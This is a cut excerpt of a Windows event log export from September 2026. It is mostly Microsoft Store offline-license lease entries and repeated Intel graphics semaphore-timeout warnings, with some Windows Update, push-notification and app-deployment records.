0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.881\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.881\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.882\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.882\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8011\t0x21f831d3070: 18884: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8012\t0x21f831d3070: 18884: Key:Valid Change: Key:Invalid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.474\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8011\t0x21f8312a820: 15996: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8011\t0x21f8312a820: 15996: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8012\t0x21f8312a820: 15996: Lease:Valid Change: Lease:Invalid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.475\t8001\t\"Requesting lease document removal for reason 0x00000000, {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.478\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.478\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.479\t8002\t\"Trying to remove timer {7BA318A1-DC47-F731-723C-537E883DC563} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:11.479\t8001\t\"Removed timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:12.858\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:13.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:13.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:14.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.087\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:15.978\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:16.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:16.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.538\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:17.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:18.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:21.542\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:22.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:22.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:23.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:24.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:24.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:25.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:25.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:26.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:26.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:28.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:29.320\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:29.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:31.991\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:33.862\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:44:34.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:36.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:37.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:38.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:39.447\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:39.669\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:40.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:41.874\t26\tWindows Update successfully found 2 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:44:42.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:42.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:44.999\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:44:47.457\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:48.347\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:49.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:50.133\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:50.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:51.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.373\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:52.919\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:53.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:53.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:55.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:45:01.685\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:01.687\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, SppProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:05.575\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:05.576\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:05.576\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:45:12.453\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:45:12Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:45:31.700\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_TpmProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:45:45.024\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:45:45.027\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9399 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:45:45.043\t3053\ttile with notification tracking id 9399 is being delivered to MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:46:47.009\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:16.664\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:19.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:20.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:47:28.226\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:28.255\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:28.255\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:28.261\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 